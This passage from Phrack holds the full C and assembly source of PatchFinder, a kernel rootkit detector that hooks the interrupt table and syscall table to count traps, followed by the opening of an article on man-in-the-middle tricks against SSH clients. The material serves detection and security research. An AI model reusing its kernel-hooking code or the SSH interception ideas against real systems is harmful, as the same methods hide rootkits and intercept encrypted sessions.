Fun and Profit", Phrack 50, 1997. [KNAR01] Cyberwinds, "Knark-2.4.3" (Knark 0.59 ported to Linux 2.4), 2001. [ADOR01] Stealth, "Adore v0.42", http://spider.scorpions.net/~stealth, 2001. [SILV98] Silvio Cesare, "Runtime kernel kmem patching", http://www.big.net.au/~silvio, 1998. [SUKT01] sd, devik, "Linux on-the-fly kernel patching without LKM" (SucKIT source code), Phrack 58, 2001. [PALM01] palmers, "Sub proc_root Quando Sumus (Advances in Kernel Hacking)" (prrf source code), Phrack 58, 2001. [MMAP02] Guillaume Pelat, "Grsecurity problem - modifying 'read-only kernel'", http://securityfocus.com/archive/1/273002, 2002. [IA32] "IA-32 Intel Architecture Software Developer's Manual", vol. 1-3, www.intel.com, 2001. --[ Appendix: PatchFinder source code This is the PatchFinder, the proof of concept of the described technique. It does not implement polymorphisms. The LKM support is need in order to run this program. If, during test you notice strange actions (like system Oops) this probably means that somebody rooted your system. On the other hand it could be my bug... And remember to remove the patchfinder's module after the tests. <++> ./patchfinder/Makefile MODULE_NAME=patchfinder.o PROG_NAME=patchfinder all: $(MODULE_NAME) $(PROG_NAME) $(MODULE_NAME) : module.o traps.o ld -r -o $(MODULE_NAME) module.o traps.o module.o : module.c module.h gcc -c module.c -I /usr/src/linux/include traps.o : traps.S module.h gcc -D__ASSEMBLY__ -c traps.S $(PROG_NAME): main.o tests.o libpf.o gcc -o $(PROG_NAME) main.o tests.o libpf.o main.o: main.c main.h gcc -c main.c -D MODULE_NAME='"$(MODULE_NAME)"'\ -D PROG_NAME='"$(PROG_NAME)"' tests.o: tests.c main.h libpf.o: libpf.c libpf.h clean: rm -fr *.o $(PROG_NAME) <--> ./patchfinder/Makefile <++> ./patchfinder/traps.S /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #define __KERNEL__ #include "module.h" tsk_ptrace = 24 # offset into the task_struct ENTRY(PF_system_call) pushl %ebx movl $-8192, %ebx andl %esp, %ebx # %ebx <-- current testb $PT_PATCHFINDER,tsk_ptrace(%ebx) je continue_syscall pushf popl %ebx orl $TF_MASK, %ebx # set TF flag pushl %ebx popf continue_syscall: popl %ebx jmp *orig_system_call ENTRY(PF_debug) incl PF_traps iret <--> ./patchfinder/traps.S <++> ./patchfinder/module.h /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #ifndef __MODULE_H #define __MODULE_H #define PT_PATCHFINDER 0x80 /* should not conflict with PT_xxx defined in linux/sched.h */ #define TF_MASK 0x100 /* TF mask in EFLAGS */ #define SYSCALL_VECTOR 0x80 #define DEBUG_VECTOR 0x1 #define PF_START 0xfee #define PF_GET 0xfed #define PF_QUERY 0xdefaced #define PF_ANSWER 0xaccede #define __NR_patchfinder 250 #endif <--> ./patchfinder/module.h <++> ./patchfinder/module.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #define MODULE #define __KERNEL__ #ifdef MODVERSIONS #include #endif #include #include #include #include "module.h" #define DEBUG 1 MODULE_AUTHOR("Jan Rutkowski"); MODULE_DESCRIPTION("The PatchFinder module"); asmlinkage int PF_system_call(void); asmlinkage int PF_debug (void); int (*orig_system_call)(); int (*orig_debug)(); int (*orig_syscall)(unsigned int); extern void *sys_call_table[]; int PF_traps; /* this one comes from arch/i386/kernel/traps.c */ #define _set_gate(gate_addr,type,dpl,addr) \ do { \ int __d0, __d1; \ __asm__ __volatile__ ("movw %%dx,%%ax\n\t" \ "movw %4,%%dx\n\t" \ "movl %%eax,%0\n\t" \ "movl %%edx,%1" \ :"=m" (*((long *) (gate_addr))), \ "=m" (*(1+(long *) (gate_addr))), "=&a" (__d0), "=&d" (__d1) \ :"i" ((short) (0x8000+(dpl<<13)+(type<<8))), \ "3" ((char *) (addr)),"2" (__KERNEL_CS << 16)); \ } while (0) struct idt_gate { unsigned short off1; unsigned short sel; unsigned char none, flags; unsigned short off2; } __attribute__ ((packed)); struct idtr { unsigned short limit; unsigned int base; } __attribute__ ((packed)); struct idt_gate * get_idt () { struct idtr idtr; asm("sidt %0" : "=m" (idtr)); return (struct idt_gate*) idtr.base; } void * get_int_handler (int n) { struct idt_gate * idt_gate = (get_idt() + n); return (void*)((idt_gate->off2 << 16) + idt_gate->off1); } static void set_system_gate(unsigned int n, void *addr) { printk ("setting int for int %d -> %#x\n", n, addr); _set_gate(get_idt()+n,15,3,addr); } asmlinkage int sys_patchfinder (int what) { struct task_struct *tsk = current; switch (what) { case PF_START: tsk->ptrace |= PT_PATCHFINDER; PF_traps = 0; break; case PF_GET: tsk->ptrace &= ~PT_PATCHFINDER; break; case PF_QUERY: return PF_ANSWER; default: printk ("I don't know what to do!\n"); return -1; } return PF_traps; } int init_module () { EXPORT_NO_SYMBOLS; orig_system_call = get_int_handler (SYSCALL_VECTOR); set_system_gate (SYSCALL_VECTOR, &PF_system_call); orig_debug = get_int_handler (DEBUG_VECTOR); set_system_gate (DEBUG_VECTOR, &PF_debug); orig_syscall = sys_call_table[__NR_patchfinder]; sys_call_table [__NR_patchfinder] = sys_patchfinder; printk ("Kernel PatchFinder has been succesfully" "inserted into your kernel!\n"); #ifdef DEBUG printk (" orig_system_call : %#x\n", orig_system_call); printk (" PF_system_calli : %#x\n", PF_system_call); printk (" orig_debug : %#x\n", orig_debug); printk (" PF_debug : %#x\n", PF_debug); printk (" using syscall : %d\n", __NR_patchfinder); #endif return 0; } int cleanup_module () { set_system_gate (SYSCALL_VECTOR, orig_system_call); set_system_gate (DEBUG_VECTOR, orig_debug); sys_call_table [__NR_patchfinder] = orig_syscall; printk ("PF module safely removed.\n"); return 0; } <--> ./patchfinder/module.c <++> ./patchfinder/main.h /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #ifndef __MAIN_H #define __MAIN_H #define PF_MAGIC "patchfinder" #define M_GENTTBL 1 #define M_CHECK 2 #define MAX_TESTS 9 #define TESTNAMESZ 32 #define WARN_THRESHOLD 20 #define ALERT_THRESHHOLD 500 #define TRIES_DEFAULT 200 typedef struct { int t; double ft; char name[TESTNAMESZ]; int (*test_func)(); } TTEST; typedef struct { char magic[sizeof(PF_MAGIC)]; TTEST test [MAX_TESTS]; int ntests; int tries; } TTBL; #endif <--> ./patchfinder/main.h <++> ./patchfinder/main.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #include #include #include #include #include #include "main.h" #include "libpf.h" void die (char *str) { if (errno) perror (str); else printf ("%s\n", str); exit (1); } void usage () { printf ("(c) Jan K. Rutkowski, 2002\n"); printf ("email: jkrutkowski@elka.pw.edu.pl\n"); printf ("%s [OPTIONS] \n", PROG_NAME); printf (" -g save current system's characteristics to file\n"); printf (" -c check system against saved results\n"); printf (" -t change number of iterations per each test\n"); exit (0); } void write_ttbl (TTBL* ttbl, char *filename) { int fd; fd = open (filename, O_WRONLY | O_CREAT); if (fd < 0) die ("can not create file"); strcpy (ttbl->magic, PF_MAGIC); if (write (fd, ttbl, sizeof (TTBL)) < 0) die ("can not write to file"); close (fd); } void read_ttbl (TTBL* ttbl, char *filename) { int fd; fd = open (filename, O_RDONLY); if (fd < 0) die ("can not open file"); if (read (fd, ttbl, sizeof (TTBL)) != sizeof(TTBL)) die ("can not read file"); if (strncmp(ttbl->magic, PF_MAGIC, sizeof (PF_MAGIC))) die ("bad file format\n"); close (fd); } main (int argc, char **argv) { TTBL current, clear; int tries = 0, mode = 0; int opt, max_prio, i, j, T1, T2, dt; char *ttbl_file; struct sched_param sched_p; while ((opt = getopt (argc, argv, "hg:c:t:")) != -1) switch (opt) { case 'g': mode = M_GENTTBL; ttbl_file = optarg; break; case 'c': ttbl_file = optarg; mode = M_CHECK; break; case 't': tries = atoi (optarg); break; case 'h': default : usage(); } if (getuid() != 0) die ("For some reasons you have to be root"); if (!mode) usage(); if (patchfinder (PF_QUERY) != PF_ANSWER) { printf ( "\n ---== ALERT! ==--\n" "It seems that module %s is not loaded. " "However if you are\nsure that it is loaded," "then this situation means that with your\n" "kernel is something wrong! Probably there is " "a rootkit installed!\n", MODULE_NAME); exit (1); } current.tries = (tries) ? tries : TRIES_DEFAULT; if (mode == M_CHECK) { read_ttbl (&clear, ttbl_file); current.tries = (tries) ? tries : clear.tries; } max_prio = sched_get_priority_max (SCHED_FIFO); sched_p.sched_priority = max_prio; if (sched_setscheduler (0, SCHED_RR, &sched_p) < 0) die ("Setting realtime policy\n"); fprintf (stderr, "* FIFO scheduling policy has been set.\n"); generate_ttbl (¤t); sched_p.sched_priority = 0; if (sched_setscheduler (0, SCHED_OTHER, &sched_p) < 0) die ("Dropping realtime policy\n"); fprintf (stderr, "* dropping realtime schedulng policy.\n\n"); if (mode == M_GENTTBL) { write_ttbl (¤t, ttbl_file); exit (0); } printf ( " test name | current | clear | diff | status \n"); printf ( "------------------------------------------------------\n"); for (i = 0; i < current.ntests; i++) { if (strncmp (current.test[i].name, clear.test[i].name, TESTNAMESZ)) die ("ttbl entry name mismatch"); T1 = current.test[i].t; T2 = clear.test[i].t; dt = T1 - T2; printf ("%-18s | %7d| %7d|%7d|", current.test[i].name, T1, T2, dt); dt = abs (dt); if (dt < WARN_THRESHOLD) printf (" ok "); if (dt >= WARN_THRESHOLD && dt < ALERT_THRESHHOLD) printf (" (?) "); if (dt >= ALERT_THRESHHOLD) printf (" ALERT!"); printf ("\n"); } } <--> ./patchfinder/main.c <++> ./patchfinder/tests.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #include #include #include #include #include #include #include "libpf.h" #include "main.h" int test_open_file () { int tmpfd, T = 0; patchfinder (PF_START); tmpfd = open ("/etc/passwd", 0, 0); T = patchfinder (PF_GET); close (tmpfd); return T; } int test_stat_file () { int T = 0; char buf[0x100]; /* we dont include sys/stat.h */ patchfinder (PF_START); stat ("/etc/passwd", &buf); T = patchfinder (PF_GET); return T; } int test_read_file () { int fd, T = 0; char buf[0x100]; fd = open ("/etc/passwd", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); read (fd, buf , sizeof(buf)); T = patchfinder (PF_GET); close (fd); return T; } int test_open_kmem () { int tmpfd; int T = 0; patchfinder (PF_START); tmpfd = open ("/dev/kmem", 0, 0); T = patchfinder (PF_GET); close (tmpfd); return T; } _syscall3(int, getdents, int, fd, struct dirent*, dirp, int, count) int test_readdir_root () { int fd, T = 0; struct dirent de[1]; fd = open ("/", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); getdents (fd, de, sizeof (de)); T = patchfinder (PF_GET); close (fd); return T; } int test_readdir_proc () { int fd, T = 0; struct dirent de[1]; fd = open ("/proc", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); getdents (fd, de, sizeof (de)); T = patchfinder (PF_GET); close (fd); return T; } int test_read_proc_net_tcp () { int fd, T = 0; char buf[32]; fd = open ("/proc/net/tcp", 0, 0); if (fd < 0) die ("open"); patchfinder (PF_START); read (fd, buf , sizeof(buf)); T = patchfinder (PF_GET); close (fd); return T; } int test_lseek_kmem () { int fd, T = 0; fd = open ("/dev/kmem", 0, 0); if (fd <0) die ("open"); patchfinder (PF_START); lseek (fd, 0xc0100000, 0); T = patchfinder (PF_GET); close (fd); return T; } int test_read_kmem () { int fd, T = 0; char buf[256]; fd = open ("/dev/kmem", 0, 0); if (fd < 0) die ("open"); lseek (fd, 0xc0100000, 0); patchfinder (PF_START); read (fd, buf , sizeof(buf)); T = patchfinder (PF_GET); close (fd); return T; } int generate_ttbl (TTBL *ttbl) { int i = 0, t; #define set_test(testname) { \ ttbl->test[i].test_func = test_##testname; \ strcpy (ttbl->test[i].name, #testname); \ ttbl->test[i].t = 0; \ ttbl->test[i].ft = 0; \ i++; \ } set_test(open_file) set_test(stat_file) set_test(read_file) set_test(open_kmem) set_test(readdir_root) set_test(readdir_proc) set_test(read_proc_net_tcp) set_test(lseek_kmem) set_test(read_kmem) assert (i <= MAX_TESTS); ttbl->ntests = i; #undef set_test fprintf (stderr, "* each test will take %d iteration\n", ttbl->tries); usleep (100000); for (i = 0; i < ttbl->ntests; i++) { for (t = 0; t < ttbl->tries; t++) ttbl->test [i].ft += (double)ttbl->test[i].test_func(); fprintf (stderr, "* testing... %d%%\r", i*100/ttbl->ntests); usleep (10000); } for (i = 0; i < ttbl->ntests; i++) ttbl->test [i].t = (int) (ttbl->test[i].ft/(double)ttbl->tries); fprintf (stderr, "\r* testing... done.\n"); return i; } <--> ./patchfinder/tests.c <++> ./patchfinder/libpf.h /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #ifndef __LIBPF_H #define __LIBPF_H #include "module.h" int patchfinder(int what); #endif <--> ./patchfinder/libpf.h <++> ./patchfinder/libpf.c /* */ /* The Kernel PatchFinder version 0.9 */ /* */ /* (c) 2002 by Jan K. Rutkowski */ /* */ #include #include #include "libpf.h" _syscall1(int, patchfinder, int, what) <--> ./patchfinder/libpf.c ==Phrack Inc.== Volume 0x0b, Issue 0x3b, Phile #0x0b of 0x12 |=-----------------=[ It cuts like a knife. SSHarp. ]=-------------------=| |=-----------------------------------------------------------------------=| |=----------------=[ stealth ]=------------------=| --[ Contents - Intoduction 1 - Playing with the banner 2 - Playing with the keys 3 - Countermeasures 4 - An Implementation 5 - Discussion 6 - Acknowledgments 7 - References --[ Introduction The Secure Shell (SSH) protocol which itself is considered strong is often weakly implemented. Especially the SSH1/SSH2 interoperability as implemented in most SSH clients suffers from certain weak points as described below. Additionally the SSH2 protocol itself is also flexible enough to contain some interesting parts for attackers. For disclaimer see the pdf-version of this article available [here]. The described mim-program will be made available one week after releasing this article to give vendors time for fixes (which are rather trivial) to limit the possibility of abuse. In this article I will describe how SSH clients can be tricked into thinking they are missing the host-key for the host they connected to even though they already have it in their list of known hosts. This is possible due to some points in the SSH drafts which makes life of SSH developers harder but which was ment to offer special protection or more flexibility. I assume you have a basic understanding of how SSH works. However it is not necessary to understand it all in detail because the attacks succeeds in the handshake where only a few packets have been exchanged. I also assume you are familiar with the common attacking scenarios in networks like Man in the Middle attacks, hijacking attacks against plaintext protocols, replay attacks and so on. --[ 1 - Playing with the banner The SSH draft demands that both, client and server, exchange a banner before negotiating the key used for encrypting the communication channel. This is indeed needed for both sides to see which version of the protocol they have to speak. A banner commonly looks like SSH-1.99-OpenSSH_2.2.0p1 A client obtaining such a banner reads this as "speak SSH1 or SSH2 to me". This is due to the "1" after the dash, the so called remote major version. It allows the client to choose SSH1 for key negotiation and further encryption. However it is also possible for the client to continue with SSH2 packets as the "99" tells him which is also called the remote minor version. (It is a convention that a remote-minor version of 99 with a remote-major version of 1 means both protocols.) Depending on the clients configuration files and command-line opti